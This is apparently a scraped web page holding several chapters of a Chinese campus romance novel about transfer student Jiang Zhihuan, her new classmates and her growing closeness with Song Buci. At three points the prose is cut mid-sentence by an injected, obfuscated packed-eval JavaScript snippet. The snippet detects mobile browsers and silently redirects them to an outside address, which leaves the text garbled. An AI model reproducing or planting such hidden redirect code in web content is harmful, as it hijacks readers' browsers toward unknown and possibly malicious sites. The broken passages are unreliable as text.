空余部分还画着一颗短手短脚的Q版卷心菜,脑门处系了根红色头巾,写着“加油”二字,后面跟了三个感叹符号。 幼稚,但也活泼生动。 姜知幻:“……” 一路走来,她见过许多稀奇古怪的班名,比如:萤火虫班,超越班,按部就班,登峰造极班……等等。 “这是我们班的同学集思广益,最后高票选出的班名。”察觉她的目光,关顺说明,“起班名是三中的特色,每年都会换一次,不仅有利于破冰,也能增进与同学之间的感情。” “这学期你也可以和大家一起讨论新班名。”她说。 破冰……? 姜知幻虽有疑惑,却并没多问。 班内语笑喧闹,一位戴着黑框眼镜的女生站在讲台上,目视全班,没有大喊呵斥“安静下来”,只是叫了几个名字,说去搬新书。 她声音不算大,语落便被其他同学的吵吵声掩盖。 能听见吗? 姜知幻事不关己地想着,就见几个坐在位置上的男生“噌”地起身。 后排有某个高个子男生欢快地吹了个口哨,回应道:“好嘞班长。” 一群男生勾肩搭背,风风火火地跑出后门。 察觉门口站着人,班长扭头,看见关顺,瞬间喜笑颜开地对全班说:“关老师来了。” “关老师好!” 全班异口同声道。 刚才出去的那群男生突然返回教室,对着前门方向九十度鞠躬,“关老师好!” 说完,再次风风火火地跑出,一番操作逗得大家捧腹大笑。 “一群活宝。”关顺点评。 大家又乐作一团,笑罢,全班安静下来。 姜知幻愣了下,抬脚,在所有人的注视中,跟随关顺走进教室。 “这学期有新同学加入我们一班的大家庭,大家欢迎一下。”关顺带头鼓掌。 底下欢呼雀跃,实在热情过头了。 等掌声渐渐消散,姜知幻欠了下身,开口:“我叫姜知幻,知道的知,幻想的幻。很高兴认识大家。” 所有人眨巴眼睛看着她,眼里流露的情绪不止对新同学的好奇,还有警觉。 转校直接空降到理1,肯定是个不可小觑的劲敌。 “你就坐右边那个空位吧。”关顺指了指靠门边的最后一排,见前排两个座位都空着,问班长,“还有那些同学没到学校?” 姜知幻点了下头,朝座位走去。 班长如实禀报,“夏闲和宋不辞说马上就到,温玉请假了。” 姜知幻放书包的动作一顿,看向讲台。 宋、不、辞? 该不会是她知道的那个宋不辞吧? 念头将将冒出,门口相继响起两道急忙忙的少年音。 “报告。” “哟,说曹操,曹操到。”关顺和班长相视一笑,看了眼时间,“刚好踩点,你俩快回位置上吧。” “得令。” 耳熟的腔调与嗓音。 姜知幻略感意外的扬了下眉,慢腾腾地撩起眼皮。 兜兜转转,又见面了。 连向来泰然若之的宋不辞都怔了怔,忍不住感慨,命运好似真的将俩人纠缠在了一起。 他看着坐在最后排的姜知幻,心里感叹不过半秒,就发觉她的视线偏离,目标并不是自己,而是……身侧后的夏闲。 宋不辞冷淡地睨了夏闲眼,下巴没好气地朝里面的座位一点,示意他赶紧进去。 呵,女人。 姜知幻浑然不觉,出于颜控本能,只要对方长得好看,她的目光便会不由自主地被吸引过去。 这人长相和气质都很出众,右眼角下那颗泪痣更加深了记忆点。 回想一下班长刚说的话,姜知幻心想,他应该是叫夏闲没错了。 可惜欣赏不到三秒,宋不辞和他的同桌坐到位置上,留给她两个后脑勺。 … 两节课过去,姜知幻撂下笔。 走班制上久了,突然转变成在固定的班级,上固定的课表,一时半会儿还有些不习惯。 大课间铃响,班里顿时发出一片哀嚎。 “救命,不想跑操。” “我也不想。” “今天为什么不下雨啊——” “明天我就把雨神的照片带来。” “哈哈哈哈快走啦,班长在催。” 姜知幻跟随大部队到教学楼下。 众多高二生聚集于此,每班的体育委员早早到场,高举班牌,方便大家找准自己班的区域,排成方块队。 卷心菜班打头阵,举班牌的是宋不辞。 其实原本的体育委员应该是夏闲,当初推选时,两人之间仅一票之差。但夏闲懒,除了学习和打羽毛球是自发去做的,其余让他多干一件事比登天还难。再则,他自己也心中有数,主动提出自己没能力胜任,关顺尊重他的个人意愿。 由此,体育委员就轮给了第二的宋不辞。 宋不辞对任什么职无异议,唯独介怀的是夏闲比他高一票。 这该死又令人无语的胜负欲啊。 队伍是按照体育课上排的队形站,姜知幻才转来,自然没有她的位置。 宋不辞也想到了这点,目光在人群中穿梭,寻找姜知幻的身影。他心里正纳闷呢,怎么哪都没看到她,就感觉有什么东西轻划过左臂,在裸.露的皮肤上留下细微的触感。 有点痒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13758463|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜知幻从他身旁擦身而过,扭头看着左手边的班长,认真听她讲话,完全没注意到宋不辞的存在。 第三次见面,她扎起马尾,收敛起那身刺,一派死读书的好学生模样。而他染回了黑发,两枚戒指用了根细链条串起,挂在脖子上。 两人无沟通无交流,都把对方视若路人。 “你个子比较高,得站后面点,就那儿吧。” “好。” 宋不辞盯着少女微微晃动的马尾,半刻,他收回目光,若无其事地搓了下左臂。 两圈下来,大多人喘着粗气往教学楼方向去。 操场人头攒动,走走停停,隔得太近,都能闻到对方的汗臭味。 前面穿着花衬衫短袖的男生抓着领口扇风,如释重负地说:“终究还是熬过来了。” 三中没有校服,也不强制穿统一的服装,只要穿着别太特立独行即可。 姜知幻气息均匀,到不觉得多累。她轻偏了下头,看一眼堵得水泄不通的出口。 “姜知幻。”班长从人群中挤到她身旁。 姜知幻扭头,见是韦枫玥,“嗯?” 刚下楼时,韦枫玥主动来找她,做了自我介绍。 “刚忘了跟你讲,学校一三五跑操,二四做操。”秉承对新同学负责的态度,韦枫玥说,“不过每学期做的操都不一样,上学期是打太极,这学期还没通知。你以前的学校学过打太极吗?” 关顺说姜知幻是从北方转来的,她对北方学校了解不深,刷短视频看到的貌似都是跳健美操。但也是个别,不能以偏概全。 前面男生嘻哈打闹,忽然一个酿跄没站稳,往后退了两步。韦枫玥还在思索有哪些未交代清楚的事,没注意到。 姜知幻眼尖手快,抓住她的手臂往自己这边带了下,避免被撞到或踩到。 “学过。”她嗓音清淡,瞥了眼那位男生。 男生连忙道歉,然后回头,长臂一伸勒住罪魁祸首的脖子说,“煞笔儿子,叫你别弄爹,差点就撞到人家了。” 韦枫玥有些不好意思道,“谢谢你。” “小事儿。”姜知幻笑笑,话语里是标准的京腔味。她看着贩卖机里摆的一排排饮料,问韦枫玥时,又转变成了普通话,“班长,喝水吗?桃汁怎么样?” “啊?”韦枫玥愣了下,后知后觉反应过来自己跟着她来到了小超市附近,从速道:“不…不用。” 可惜仍旧慢了半拍。 她眼睁睁地看着姜知幻从心所欲地掏出手机,扫码,挑选,支付。 整个过程行云流水,一气呵成。 “咕咚。” 两瓶饮料接连落下。 姜知幻弯身拿出,递给韦枫玥一瓶。 蜜桃味。 她手上的另一瓶是柠檬味。 “不用不用。”韦枫玥摆手道。 姜知幻眉眼弯弯,坚持道:“就当是你帮我融入新班级的答谢,拿着吧。” 韦枫玥看着她脸上笑容,纯真美好,让人不忍心拒绝。她抿了抿唇,迟缓地伸出手,接过,“谢谢。” “走吧,回教室。”姜知幻说。 韦枫玥瞄了眼她光明正大拿在手里的手机,一边四处张望,一边紧张提醒:“快把手机收起来。” “为什……”姜知幻下意识反问,话到半截,心里了然。 习惯成自然了,一时半会儿不太容易纠正过来。 看她把手机揣进裤兜里,韦枫玥多问了嘴,“你静音了吗?” “没有。”见她一脸小心翼翼,姜知幻笑着压低声音,说,“要不你帮我挡一下?我悄悄关个静音。” 韦枫玥应了声“好”,上前两步,挡在她身前。 明明自己担心得要死,还依言而行。见此情形,姜知幻乐了,唇边笑意玩味。 新班长挺仗义。 5. Chase “体委,饮料。” 韦枫玥现在知道,为什么姜知幻买完饮料却不急着喝的原因了。 姜知幻言简意赅,没有直呼其名,而是跟其他同学打趣宋不辞一样,叫的“体委”二字。 她的声音不轻不重,咬字清晰。后排听到的人登时小嘴一捂,眉飞色舞。 “靠啊,这么快就认识了?” “说不准,我咋感觉那俩之前就认识呢?” “认识的话,早跟对方打招呼了,刚上的两节课,俩人有交流吗?” “上课不认真学习,交流啥?” 双方各执一词,展开激烈的分析探讨。 前排看戏的两个女生对视一眼,都摇摇头。 智商在线,情商堪忧。 重点是认不认识吗?是饮料! 宋不辞放好班牌,走到自己的位置前,低头刚拉开椅子,眼前出现一只白净的手,腕侧凸起的圆骨上有颗小痣,颜色很深,一眼注意就再也忘不掉。 与之一同的还有瓶柠檬味汽水。 坐在里面的夏闲打了个哈欠,放下笔,歪着身子靠着墙,看向两人,一副闲闲的吃瓜模样。 见此,好几个同学纷纷停止埋头苦读。 三中高一下分科,其中1,3,5为理科清北班,全年级成绩排名前一百六十四名都分散在这三个班里。 可以说,这三个班最不缺的就是顶尖高手。 而卷心菜班,班如其名。在上学期期末,理科年级前三中,有两人都来自卷心菜班。 作为从高手中脱颖而出的神仙,班里的同学们戏称他俩为“卷心菜大王”和“卷心菜小王”。大小王都有了,至于第三名,没有任何称号,只是陪跑的老三罢了。 毕竟全班达到清北线的有10人,华五13人,C9高校28人。 正因如此,且都是十七八岁的少年人,所以课间但凡发生点小事不仅是茶余饭后的谈资,更是短暂的放松时刻。 连“卷心菜小王”都没能抵抗住八卦的诱惑,没继续卷了,其他人也都放宽心。 怕对方学不好,又怕对方学太好;怕对方不学,又怕对方多学。 宋不辞的指尖微不可查地蜷缩了下,他掀起眼皮,看着面前的姜知幻,脑中蓦然响起那天傍晚,自己说过的话。 ——“下次见面,请我喝瓶饮料吧。” 少女额前冒着细汗,坦荡荡地与他对视,眼里的笑意像是讨好,又像是巧诈。 无论是哪种,又或许两种都有,都传达着一句清清白白的话——我遵守了约定,欠你的湿纸巾钱已还。 “要上课了,快回座位吧。”宋不辞从桌肚里拿出包纸巾,递给她,说。 姜知幻垂眸看一眼,扯唇,极轻地抬了下眉,接过了。她回到位置上,盯着前面、宋不辞蓬松的后脑勺。 上次是湿纸巾,这次是纸巾。 那下次会是什么呢? - 第三节晚自习时,关顺叫姜知幻来了趟办公室。 “感觉怎么样?进度能跟走吧?有没有听不懂的地方?”她连抛三问,都是班主任对转学生的常用话术。 姜知幻站姿端正,说:“挺好,能跟走,没有。” “也是。”想起她的成绩和之前就读的学校,关顺也意识到自己多余问这些,于是换了个话题,“放养式教育接触久了,一下转换成应试教育,还能习惯吧?” 这倒是问到点上了,姜知幻浅笑,“正在习惯当中。” “别紧张,我又不是什么洪水猛兽。”关顺拍拍一旁的胶凳,说,“坐吧,用你觉得最舒适的姿态跟我聊会儿天就行。” 其实不是紧张。 姜知幻没多说,只卸下力,整个人相较刚才要松弛些许。她摇头,拒绝了关顺的好意,笑道:“不用了老师,我都坐一天了,就想站会儿。” 关顺点点头,没有强求,看着她说:“有什么问题可以找我和班长,当然,班里的同学都很友善,你随便找一个人都行。” “好。”姜知幻回。 这孩子对自身要求本就高,学习方面实在没什么好担心的。关顺又问了几个生活上的问题,比如“食堂饭菜怎么样”“自习室知道在哪儿吗”“和同学相处可好”…… 姜知幻一个一个,如实回答。 最后,关顺说了句“祝你周考顺利”便让人回去了。 姜知幻走后,办公室其他老师七嘴八舌地聊了起来。 “小关啊,你们班这次又要添一名清北预备员了。” “那姑娘以前读的学校那么好,怎么想的,转学到江城来。虽说咱们学校也不差。” “听说家庭背景了不得呢,有钱人的想法,谁也摸不透。” “我今天上课,她在下面做数学,好像是咱们学校上学期的期末考试题。”物理老师打岔道,“关老师,你说那孩子能超过你们班的大小王吗?” “你们班那个大王,上学期期末考了717对吧?不得了哟,小王就比他低五分。也不知道新来的那小姑娘能考多少。” 关顺温和地笑了下,答非所问,“周考完就知道了。” … 今日份作业,姜知幻在晚自习中已做完。她收了两张中午在校外打印的卷子进书包,打算带回家继续做。 走出班门,姜知幻习惯性掏出手机,忽略掉那些99+的群消息和前来八卦她为什么转学的人。 陈叔:真不用我过去? 她抬手打字。 姜郎才不尽:一切安好,不用操心 陈叔本名陈百臻,原是姜陆予的随行助理,做事严谨细心,情绪稳定很好相处,也是看着姜知幻长大的。后来姜陆予换了随行助理,陈百臻成了生活助理,服务的重心不再在姜陆予身上,而是傅琳和姜知幻。 傅琳三周前带着团队去了德国,陈百臻留在京城照顾姜知幻的日常起居。这次转学,陈百臻本应一起来江城,但姜知幻说不用,让陈叔趁她来江城读书这两年,去想去的地方玩尽兴。 她已经十七岁了,不是没有自理能力的孩童,哪需要人老为自己操心。 不过陈叔总是不放心,三天两头发消息问姜知幻过得怎么样,有不有需要帮忙的事。 劝说无果,姜知幻没法,恰好手头有事,便扔给他了。陈叔办事效率极快,十分钟后就发来了江城三中高一下学期期末试卷文件,附答案和英语听力。 那头秒回。 陈叔:行,有事就给我发消息 姜知幻无奈地叹了口气,怎么会有人连带薪假期都不会好好享受? 欲要息屏,新消息弹出。 姜知幻垂眼一看,网名是“serendipity”,头像是空白。 那个好友申请通过后就没聊过天的人,给她发了第一条消息。 serendipity的意思:意外发现美好事物的运气,机缘巧合。 也可以是,缘分天注定。 serendipity:教学楼下玩手机,不怕被逮? 姜知幻抬头没看到想见的人,于是向右回头,却听左边身侧后响起宋不辞懒倦的声音。 “这儿呢。”他说。 宋不辞低头微微弯腰,看着身前的少女。 姜知幻循声转回头,冷不防撞进那双狭长漂亮、略带佻达笑意的眼睛里,心头一怔。 她收起手机,见他身旁空无一人,问:“你朋友呢?” “哪个朋友?”宋不辞悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13758464|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哉哉地反问。 姜知幻脱口而出:“夏闲。” 宋不辞轻飘飘地看了她眼,语气不变,“名字倒是记得挺熟。” “主要是他整个人的气质跟名字太像了,想不让人记住都难。”姜知幻观察他的表情,脚步轻快。 宋不辞拖腔带调地“啊”了声,与她并肩同行,“观察得也挺仔细。” 姜知幻忍笑,转移话题:“你跟着我干嘛,想送我回家?” “谁说我跟着你,我是跟夏闲跟丢了,所以才顺便跟着你。”宋不辞一本正经地胡说八道。 姜知幻抿唇,笑而不语。 两人一前一后走出校门,宋不辞左右看了下,问:“公交还是打车?” “打车。”姜知幻瞅他,“你问这干嘛?” 宋不辞瞥了她那一脸“明知故问”的表情,抬手拦车,神色自若道:“送你回家。” “原来是顺便跟着我,送我回家?你人也挺好。”姜知幻自问自答,学他刚才酸溜溜的语气。 宋不辞不自觉地弯了唇角,拉开后座车门看向她。 姜知幻二话不说钻了进去。 “师傅,棠明林府。”姜知幻报完地址,听见嘭的关门声,扭头问后上来的宋不辞,“你家住哪儿?顺路吗?” 提到“家”这个字,宋不辞瞳孔微沉,似乎想到了什么不太愉悦的事,但那份情绪微乎其微,转瞬即逝。快得让姜知幻以为是自己恍惚间产生的错觉。 “不顺路,先送你吧。”宋不辞说,语气恢复了一贯的散漫。 姜知幻若有所思地“哦”了声,谈话间,司机已经开车走了。她身子往后一仰靠着靠背,觉得高马尾有些硌头皮,抬手扯下黑色皮筋。 皮筋在指尖转了两圈,姜知幻想了想,还是套到了手腕上。 车厢里,播放着90年代的老歌,姜知幻耳熟但不知道名字。 歌到高潮时,驾驶位上的司机也跟着抑扬顿挫地唱了起来。 “早知道伤心总是难免的 你又何苦一往情深 因为爱情总是难舍难分 何必在意那一点点温存 ……” 出其不意的开嗓,加上“早”字的调起得太高,给后排的姜知幻和宋不辞吓了一跳,后者手机都差点没拿稳。 司机唱得忘我,歌声激昂,震人心魄。活像才结束一段痛彻心扉又爱而不得的恋情。 姜知幻嘴角轻扯,又觉得这么做不太厚道,于是默默往右偏过头。 宋不辞眼睛低垂,手里的手机屏幕亮着。 Re:你家新来的保镖眼神不行,我随便抓个跟你身高差不多的男生一起跑他就追上来了 Re:还得是我家的,眼睛跟淬了毒似的 用开玩笑式的话阴阳怪气反讽,是夏闲的一贯作风,最爱用在讨厌的人身上。 看似在说保镖,实则吐槽真正安排他们来的人。 余光瞥见姜知幻朝他的方向转过头来,宋不辞微抬眼,看看她偷笑的模样,又看看放声高歌的司机,大致明白怎么一回事。 然后,宋不辞的视线重新落到她脸上。 他不说话,姜知幻却能看出这人想说什么。 ——你还挺为人着想。 这难道就是所谓的心有灵犀? 两人目光触及的一瞬,车正好进入隧道。整个空间的亮度顿时暗了几许,两边昏黄的光线覆盖在车窗上。姜知幻和宋不辞的姿势稍稍逆着光,对方的脸映入瞳孔,却莫名觉得看不真切,仿佛方寸之间的距离都是朦胧模糊的。 一股难以言喻的情感在心里逐渐扩散。 姜知幻眨了下眼,宋不辞动了动唇。 旋即,两人不约而同地笑了。 6. Chase 朋友的定义是什么? 是三毛笔下那句:知交零落实是人生常态,能够偶尔话起,而心中仍然温柔,就是好朋友。 亦或余秋雨的《霜冷长河》中那句:所谓朋友,是使对方活得更加温暖、更加自在的那些人。 偶尔话起……更加自在…… 但好像又不太一样,除了这些,还缠绕了些别的情感。 姜知幻心想。 京城初见的那一晚,江城后再次偶遇的街头,还是刚才出租车驶过的隧道。她和宋不辞之间,似乎眼神交流总多于话语交流,关系也在无需言明中一点点增进。 那晚兴之所起,她停下脚步看戏;街头乘兴而至,她走到了他身旁。 … 两人下车后,在小区大门口前驻足。姜知幻低头思忖得入神,没有动作。 宋不辞耐心地陪在一边,不提醒也不催促。 泛黄路灯下,少女不声不响地站在那儿,整个人单薄利落,柔和光亮将她的影子拉长,清冷而寂寥。哪怕他的影子紧挨着,依然显得孤独,仿佛他的存在毫不相干一般。 宋不辞拧眉。 恰在这时,姜知幻忽地抬头,直勾勾地看向他的脸,叫了声:“宋不辞。” “嗯?”宋不辞漫不经心地应着,插科打诨道,“怎么,看入迷了舍不得回去?” “我们现在是朋友吗?”姜知幻没接他的玩笑话,直白坦率地问,神情是前所未有的认真。 不知是不是路灯的缘故,那双清凌凌的眼睛格外干净明亮。 宋不辞一时间恍了神。 朋友?他眉梢轻轻一动,心说你接近我就只是想交个朋友? 可一对上姜知幻的眼睛,宋不辞的心莫名柔软几分。 他低头,注目着地上两道影子,把问题抛了回去:“你觉得呢?” “普通朋友应该算吧。”姜知幻眼珠一转,像是通过思考得出的结论,语气蛮认真。 宋不辞双手抄兜,不再看影子了,看她,气定神闲道:“我可没有送普通朋友回家的兴趣。” 姜知幻“噢”了声,茅塞顿开道:“那就是男闺蜜。” 窗户纸差点捅破,结果你说男闺蜜? “……”宋不辞头一回失去表情管理,气笑了。他垂眼,眼神幽幽地看着她,寂然半晌,才觉荒唐地说了句,“嗯,男闺蜜。” 聪明死你了。 姜知幻噗嗤笑出声,眉梢眼角都弯起来。她扯了下书包带,对他说:“那明天见,男闺蜜。” “明天见。”宋不辞说,语气闷闷。 看着少女明媚灿烂的笑颜,他心里切了声,懒得跟她计较“男闺蜜”这个称呼。 - 算算日子,徐情应该已经回来了。 再三纠结下,宋不辞最终还是选择去了清水居,和父母一起住的地方。 打开最外的大铁门,沿着石板小道,穿过一片草坪,就要到家门口时,宋不辞接到徐情打来的电话。 手机搁到耳边时,他顺便看了眼时间。 晚上十一点多。 “你在哪儿?”女人威厉的语气中蕴着丝丝愠怒。 宋不辞的手搭上门把手,随着“滴滴”的解锁声响起,他推门而入,回:“在家。” 听见动静,徐情挂断电话,端坐在沙发上等宋不辞过来。 “妈。”在玄关处换好鞋,宋不辞走过去,不冷不热地喊了声。 “离学校十五分钟的路程,你用了一个小时,让夏闲把保镖甩掉了自己去鬼混?真是有出息。”徐情抱臂翘腿,一副兴师问罪的架势,“这么有出息,怎么以前连个人都看不住。” 最亲的人,往往知道刺那儿最痛且最致命。 母亲的话就像锋利的刀子,稳准狠地扎中宋不辞的心脏。从小到大,类似的话语他听过千百遍,一刀又一刀,一下又一下,习以为常到近乎麻木。 宋不辞低头,保持眼观鼻鼻观口的状态,面上没有任何情绪起伏。 别辩解,别反驳。这是唯一的,也是最快的解决方式。 “我不在的这段时间,你甩了保镖三次,夜不归宿一周,家里的摄像头坏了四个。”徐情的眼神里透着公事公办的淡漠,她叹息一声,揉了揉太阳穴,整个人看起来似乎很疲惫,连语气都缓和下来,只剩隐忍和失望两种情绪,“这些我都既往不咎,但从明天开始,你上下学都由小李接送,什么事该做什么事不该做,你不是一直都很清楚吗?” 宋不辞的眼皮动了动,直视她,终究没忍住开了口,“妈,我有自己的学习节奏,不用派人监视接送。” “我不派人看着你,恐怕早混得没个人样了。”徐情冷哼,“经常跟你一起玩的那两个人,哪一个是靠谱的?夏闲靠谱,他妈干嘛也要派保镖看着他?温玉靠谱,他就不会把重心放在娱乐圈,一学期大半时间都在请假。这个年纪不好好学习,成天想着怎么出名,呵。” 宋不辞不卑不亢,“我有分寸,不会乱搞。他们人也很好,值得交往。” “行了,我只相信我看到的。”徐情摆摆手,“你如果真有分寸,早应该跟他们一刀两断,而不是学会逃课染发。” “我这次回来不是跟你吵架的,你既然不想被接送,那就得拿出相应条件。周考要到了吧?我希望你这次的分数比上学期期末更高。” “别考了个年级第一就骄傲自满,这世上比你有天赋还比你努力上进的人多了去了。” 宋不辞沉默听完,只说:“妈,别再在我房间里装监控了,那玩意儿砸多了也挺累的。” - 翌日。 姜知幻边吃早餐,边听英语小说。吃完,收到“专业团队”的消息,她暂停,重新翻看一遍昨晚对过答案的语文卷子和英语卷子。 之所以要上学期的期末考试各科试卷,是姜知幻想熟悉一下三中的出题风格和策略。再则,据说三中的出题难度高于高考平均水平。 她对难题一向充满兴趣。 数学和理综昨天下午做完了没带回来,姜知幻回忆了下分数。 数学满分,理综297,而语文136,英语145。 总分728。 还不错。 姜知幻心满意足地放下试卷,正当她想息屏时,目光无意识一瞥,发现手机桌面的屏页数不对劲。 手机里的所有软件,她按照类型分成七八个文件夹,放在负屏,使用频率次数最高的软件单拎出来,放在主屏。 除开主负屏两页,现下竟多出来一页负屏。 姜知幻看着一款名叫“在线躲猫猫”的软件霸道地独占一页,还在正中央的位置。她有些迷惑,完全没有下载过这款app的记忆。 可能是不小心误点了吧。 一个凭空出现的软件,姜知幻没放在心上,长按卸载了。她收拾好书包,准时出门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13758465|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>离早读时间还有五分钟,姜知幻的步履不紧不慢,心里盘算着待会儿读语文还是英语。她转身,就要踏进后门,迎面突然窜出个人。 姜知幻及时刹住车,愣在原地,歪头,微笑看着面前从天而降的宋不辞。距离有些近,她闻到少年身上有股干净清新的柠檬香气。 淡淡的,似有若无,并不刺鼻。 眼看要撞上,宋不辞反应迅速,两手各撑在门框两边,稳住身形。他身后是男生们的嬉笑怒骂,也不知是谁说了句“去你家大爷偷小白菜”,就听肉.体相撞“砰”的一声。 宋不辞眉头轻蹙,抓紧门框,太用力,指节因受挤压变得泛白。他闷哼一声,心说这孙子真重。 “……”姜知幻的视线越过宋不辞的肩膀,看向撞到他身上的男生,目色微沉一瞬。 “没事?”宋不辞察觉到她那点稍纵即逝的异样,问。 姜知幻摇头,神色如常,“你看起来比较有事。” 躺在背上那小子还在傻乐呵,宋不辞手肘向后戳了他一下,说:“起开老六,差点撞到人了。” “啊?!”被叫“老六”的男生惶恐,立马直起身,扭头看。 男孩子间玩归玩闹归闹是小事,但如果误伤其他人就得赔礼道歉了。 “老六”一见门口站着还是不熟的新同学,也甭管撞没撞上,连声说:“对不住啊兄弟,对不住。” 姜知幻:“……” “叫啥兄弟?”宋不辞拍了下他的头,侧身,给姜知幻让路。 意识到不妥,“老六”不好意思地挠挠头,对姜知幻说:“抱歉啊姜同学,跟他们玩叫顺嘴了。” “没事,叫我名字就好。”姜知幻语气淡淡,并没在意,说着,放下书包。 旁边座位依旧空无一人,昨天发下来的课本试卷散乱地躺在桌上,没动过。她不痛不痒地看了眼,收回视线,从桌肚里拿出语文书。 新同学漂亮是漂亮,说话也和和气气的,但给人的感觉总归有几分拒人于千里之外的疏离感。 不过“老六”他们这群钢铁直男,不但没品出那点距离感,还夸新同学脾气挺好。 旁边组的女生:“……” 宋不辞:“……” “要早读了,众神归位吧。”他挥挥手,说。 欢乐时光总是短暂的,几个男生嘴上吐槽着回了位置,实际拿起课本后看得比谁都认真。 打铃了,朗朗读书声响起。 “心情不好?”宋不辞不知何时站到旁边,他边问,边随手抓起本书卷了卷,然后敲了下前桌夏闲的背。 姜知幻也是在这时才发现夏闲还趴在桌上睡觉。 夏闲慢吞吞直起身,靠在墙上自我清醒了会儿,见同桌不在,他看一眼身后。 “你昨晚去偷小白菜了?”宋不辞调侃。 夏闲看他,眼神空洞又茫然。少时,他像是彻底清醒过来,揉了揉脖颈,从桌肚掏出英语书,面无表情地站起身,“岂止,还偷了小土豆呢。” 这是姜知幻第一次听夏闲说话,凉薄的嗓音带点懒意,和宋不辞那份不着调的懒截然不同。起码,宋不辞的底色是暖的。 宋不辞笑了下,没再搭理他,目光转向姜知幻,同时手上整理课本试卷的动作没停。 姜知幻看着他,眸色复杂。 既注意到了她的情绪,又不忘乐于助人。 还真是……当代活雷锋啊。 7. Chase 宋不辞的眼神,是一种对一个问题保持怀疑,从而再次发问,想得到真实答案的注视。多少带了点不依不饶的态度。 “真没事。”姜知幻的回答和刚才一样,面色平静无半点破绽。 宋不辞漫不经心地翻着温玉的语文书,没抬头,只是身子微微往姜知幻那边歪了下。 嘈杂中,少年的声音不轻不重,却清晰入耳。 “感觉怎么样,累不累?” 这话听着,倒像是长辈对晚辈的问候。 姜知幻意味不明地瞥他一眼。 “好歹也是钦定的男闺蜜,关心一下你的情况很正常吧。”宋不辞有理有据道,语气在说到“男闺蜜”三个字上放缓,声音加重两分。 姜知幻瞧他那样儿,没绷住,忍俊不禁道:“还成。” 不累,就是太规矩了。 宋不辞点点头,没说话了。他在温玉的位置上待到早读结束,突然换位的举动让他备受关注,连来守早读的关顺都多留意了几眼。 但宋不辞安安分分地读着课文,期间注意到关顺的目光,还坦荡自然地冲她笑了下。 没有半点欲盖弥彰的意思。 就是普通、正常的同学关系。 自己的学生知不知分寸,关顺心里有数,也没管,随他去了。 … 托韦枫玥的福,姜知幻很快融入了女生团体。 每到饭点,韦枫玥都会问姜知幻要不要一起去食堂,而同行的还有其他几个女生。她们聊没做出来的题、聊自己班和别班八卦、也聊追星。 姜知幻是从她们口中得知,那个三天没来的同桌去哪儿了。 “你真不知道你同桌是谁?三中可是人人皆知,那些下课后时不时来咱们班后门望的人,都是想看他!”冯潇潇满脸不可置信道。 这一点,姜知幻从未注意。课间十分钟,她一般都在背东西和刷题,偶尔跟宋不辞聊天,连厕所都很少去。 她疑惑:“谁啊?” 能得到这么高的关注度,到底是有多好看? 韦枫玥解释:“他本名你不熟,但艺名应该有所耳闻,叫闻雨,闻王昌龄那个闻,下雨的雨。” 姜知幻觉得刚吞下的饭有些噎,错愕之余,更多的是懵逼,“啊?” 敢情她那个未曾谋面的同桌,竟是个养成系明星。 闻雨,6岁时参加《唱响时代》,因翻唱走红,紧接着出演了《哑剧人生》里的小高山而被更多人熟知。之后沉寂五年,11岁的他又在音综上露面,但这次,他唱的是自己的第一首原创歌曲——《Nightmare》 令人意外的是,这是一首反战歌曲。男孩嗓音稚嫩,动人心弦,伴奏与歌词相得益彰,诉说着战争的血腥,又唱出了希望与美好。 《Nightmare》横空出世,一度成为当年播放量最高的歌。 没有人能在听到闻雨的名字后保持淡定,作为粉丝的冯潇潇对姜知幻的反应很满意,得意洋洋道:“是不是感觉他特别厉害,半工半读的情况下还能进咱们班。” 姜知幻虽不追星,但也的确是因为那首歌知道了闻雨。她脑中闪过那张活跃在荧幕前的脸,肯定地点了点头,确实好看。 不过这一点头落在冯潇潇眼里成了误解,她谦虚地笑笑,下一秒又沮丧道:“不过他最近被狗公司打压惨了。” 姜知幻没细听她义愤填膺的吐槽,她的兴趣只在宋不辞身上。 有些人,好看归好看,但并不是对她胃口的类型。 举个例子,比如夏闲,太高冷了,看谁都像是在看不值一提的垃圾。碰上这种眼神,要是性格或三观不合,姜知幻保不齐能跟他打起来。 至于温玉,单看他的长相和气质……感觉像个gay。 - 周考如约而至。 三中充分利用晚自习时间,星期四考语文,星期五考数学和英语,星期六考理综。 窗外,风一吹,树叶相撞,沙沙作响。教室里的气氛静谧平和,只能听见笔尖划过纸面和翻动试卷的轻微声音。 姜知幻做完,看了眼挂在黑板上方的圆钟,余下半小时的机动时间。她花了几分钟查漏补缺,然后彻底放下笔。 前桌的宋不辞和夏闲倒是没检查的闲心。前者把试卷答题卡推一边,拿出笔记本开始背知识点,后者直接趴桌上睡着了,雷打不动,大有今晚就在教室驻扎的架势。 